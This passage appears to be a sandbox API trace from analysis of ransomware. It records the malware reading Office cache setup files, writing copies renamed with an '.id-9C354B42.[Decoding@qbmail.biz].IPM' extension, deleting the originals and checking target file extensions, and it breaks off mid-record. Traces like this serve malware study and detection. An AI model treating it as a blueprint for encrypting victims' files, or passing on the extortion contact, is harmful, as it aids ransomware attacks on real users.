[0071.551] SetEndOfFile (hFile=0x1bc) returned 1 [0071.551] CloseHandle (hObject=0x1bc) returned 1 [0071.556] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.556] SetEndOfFile (hFile=0x1d8) returned 1 [0071.559] CloseHandle (hObject=0x1d8) returned 1 [0071.559] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.560] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0071.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.560] lstrlenW (lpString=".doc") returned 4 [0071.560] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.560] lstrlenW (lpString=".docx") returned 5 [0071.560] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0071.561] lstrlenW (lpString=".pdf") returned 4 [0071.561] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.561] lstrlenW (lpString=".xls") returned 4 [0071.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.561] lstrlenW (lpString=".xlsx") returned 5 [0071.561] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0071.561] lstrlenW (lpString=".ppt") returned 4 [0071.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.561] lstrlenW (lpString=".zip") returned 4 [0071.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.561] lstrlenW (lpString=".rar") returned 4 [0071.561] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.561] lstrlenW (lpString=".bz2") returned 4 [0071.561] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.561] lstrlenW (lpString=".7z") returned 3 [0071.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.562] lstrlenW (lpString=".dbf") returned 4 [0071.562] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.562] lstrlenW (lpString=".1cd") returned 4 [0071.562] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.562] lstrlenW (lpString=".jpg") returned 4 [0071.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.562] lstrlenW (lpString=".doc") returned 4 [0071.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.562] lstrlenW (lpString=".docx") returned 5 [0071.562] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0071.563] lstrlenW (lpString=".pdf") returned 4 [0071.563] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.563] lstrlenW (lpString=".xls") returned 4 [0071.563] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.563] lstrlenW (lpString=".xlsx") returned 5 [0071.563] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0071.563] lstrlenW (lpString=".ppt") returned 4 [0071.563] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.563] lstrlenW (lpString=".zip") returned 4 [0071.563] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.563] lstrlenW (lpString=".rar") returned 4 [0071.563] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.563] lstrlenW (lpString=".bz2") returned 4 [0071.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.563] lstrlenW (lpString=".7z") returned 3 [0071.563] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.564] lstrlenW (lpString=".dbf") returned 4 [0071.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.564] lstrlenW (lpString=".1cd") returned 4 [0071.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.564] lstrlenW (lpString=".jpg") returned 4 [0071.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.564] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.564] lstrlenW (lpString="Proofing.xml") returned 12 [0071.564] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0071.565] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=811) returned 1 [0071.565] CloseHandle (hObject=0x1d8) returned 1 [0071.565] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0071.565] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0071.566] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.566] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0071.566] GetLastError () returned 0x0 [0071.566] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x32b, lpOverlapped=0x0) returned 1 [0071.908] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x330, lpOverlapped=0x0) returned 1 [0071.910] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.910] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.911] SetEndOfFile (hFile=0x1bc) returned 1 [0071.911] CloseHandle (hObject=0x1bc) returned 1 [0071.912] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.912] SetEndOfFile (hFile=0x1d8) returned 1 [0071.914] CloseHandle (hObject=0x1d8) returned 1 [0071.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.915] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0072.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.400] lstrlenW (lpString=".doc") returned 4 [0072.400] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.400] lstrlenW (lpString=".docx") returned 5 [0072.400] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0072.400] lstrlenW (lpString=".pdf") returned 4 [0072.400] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.400] lstrlenW (lpString=".xls") returned 4 [0072.400] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.400] lstrlenW (lpString=".xlsx") returned 5 [0072.400] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0072.401] lstrlenW (lpString=".ppt") returned 4 [0072.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.401] lstrlenW (lpString=".zip") returned 4 [0072.401] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.401] lstrlenW (lpString=".rar") returned 4 [0072.401] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.401] lstrlenW (lpString=".bz2") returned 4 [0072.401] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.401] lstrlenW (lpString=".7z") returned 3 [0072.401] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.401] lstrlenW (lpString=".dbf") returned 4 [0072.401] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.401] lstrlenW (lpString=".1cd") returned 4 [0072.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.401] lstrlenW (lpString=".jpg") returned 4 [0072.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.402] lstrlenW (lpString=".doc") returned 4 [0072.402] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.402] lstrlenW (lpString=".docx") returned 5 [0072.402] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0072.402] lstrlenW (lpString=".pdf") returned 4 [0072.402] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.402] lstrlenW (lpString=".xls") returned 4 [0072.402] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.402] lstrlenW (lpString=".xlsx") returned 5 [0072.402] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0072.402] lstrlenW (lpString=".ppt") returned 4 [0072.402] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.403] lstrlenW (lpString=".zip") returned 4 [0072.403] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.403] lstrlenW (lpString=".rar") returned 4 [0072.403] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.403] lstrlenW (lpString=".bz2") returned 4 [0072.403] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.403] lstrlenW (lpString=".7z") returned 3 [0072.403] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.403] lstrlenW (lpString=".dbf") returned 4 [0072.403] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.403] lstrlenW (lpString=".1cd") returned 4 [0072.403] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0072.403] lstrlenW (lpString=".jpg") returned 4 [0072.403] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.404] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.404] lstrlenW (lpString="Setup.xml") returned 9 [0072.404] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0072.857] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=6241) returned 1 [0072.857] CloseHandle (hObject=0x1bc) returned 1 [0072.857] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0072.857] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0072.857] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.857] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0072.858] GetLastError () returned 0x0 [0072.858] ReadFile (in: hFile=0x1bc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x1861, lpOverlapped=0x0) returned 1 [0072.882] WriteFile (in: hFile=0x1ec, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0072.884] ReadFile (in: hFile=0x1bc, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.884] WriteFile (in: hFile=0x1ec, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.884] SetEndOfFile (hFile=0x1ec) returned 1 [0072.884] CloseHandle (hObject=0x1ec) returned 1 [0072.888] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.888] SetEndOfFile (hFile=0x1bc) returned 1 [0072.890] CloseHandle (hObject=0x1bc) returned 1 [0072.890] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.891] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0072.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.891] lstrlenW (lpString=".doc") returned 4 [0072.891] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.891] lstrlenW (lpString=".docx") returned 5 [0072.891] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.891] lstrlenW (lpString=".pdf") returned 4 [0072.891] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.891] lstrlenW (lpString=".xls") returned 4 [0072.891] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.891] lstrlenW (lpString=".xlsx") returned 5 [0072.892] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.892] lstrlenW (lpString=".ppt") returned 4 [0072.892] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.892] lstrlenW (lpString=".zip") returned 4 [0072.892] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.892] lstrlenW (lpString=".rar") returned 4 [0072.892] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.892] lstrlenW (lpString=".bz2") returned 4 [0072.892] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.892] lstrlenW (lpString=".7z") returned 3 [0072.892] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.892] lstrlenW (lpString=".dbf") returned 4 [0072.892] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.892] lstrlenW (lpString=".1cd") returned 4 [0072.892] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.892] lstrlenW (lpString=".jpg") returned 4 [0072.892] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.893] lstrlenW (lpString=".doc") returned 4 [0072.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".docx") returned 5 [0072.893] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.893] lstrlenW (lpString=".pdf") returned 4 [0072.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".xls") returned 4 [0072.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".xlsx") returned 5 [0072.893] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.893] lstrlenW (lpString=".ppt") returned 4 [0072.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.893] lstrlenW (lpString=".zip") returned 4 [0072.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.893] lstrlenW (lpString=".rar") returned 4 [0072.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString=".bz2") returned 4 [0072.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString=".7z") returned 3 [0072.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.894] lstrlenW (lpString=".dbf") returned 4 [0072.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.894] lstrlenW (lpString=".1cd") returned 4 [0072.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.894] lstrlenW (lpString=".jpg") returned 4 [0072.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.895] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.895] lstrlenW (lpString="Setup.xml") returned 9 [0072.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.181] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1872) returned 1 [0073.181] CloseHandle (hObject=0x1f0) returned 1 [0073.181] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0073.181] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.181] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.181] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.182] GetLastError () returned 0x0 [0073.182] ReadFile (in: hFile=0x1f0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x750, lpOverlapped=0x0) returned 1 [0073.243] WriteFile (in: hFile=0x1fc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x760, lpOverlapped=0x0) returned 1 [0073.244] ReadFile (in: hFile=0x1f0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.244] WriteFile (in: hFile=0x1fc, lpBuffer=0x3640020*, 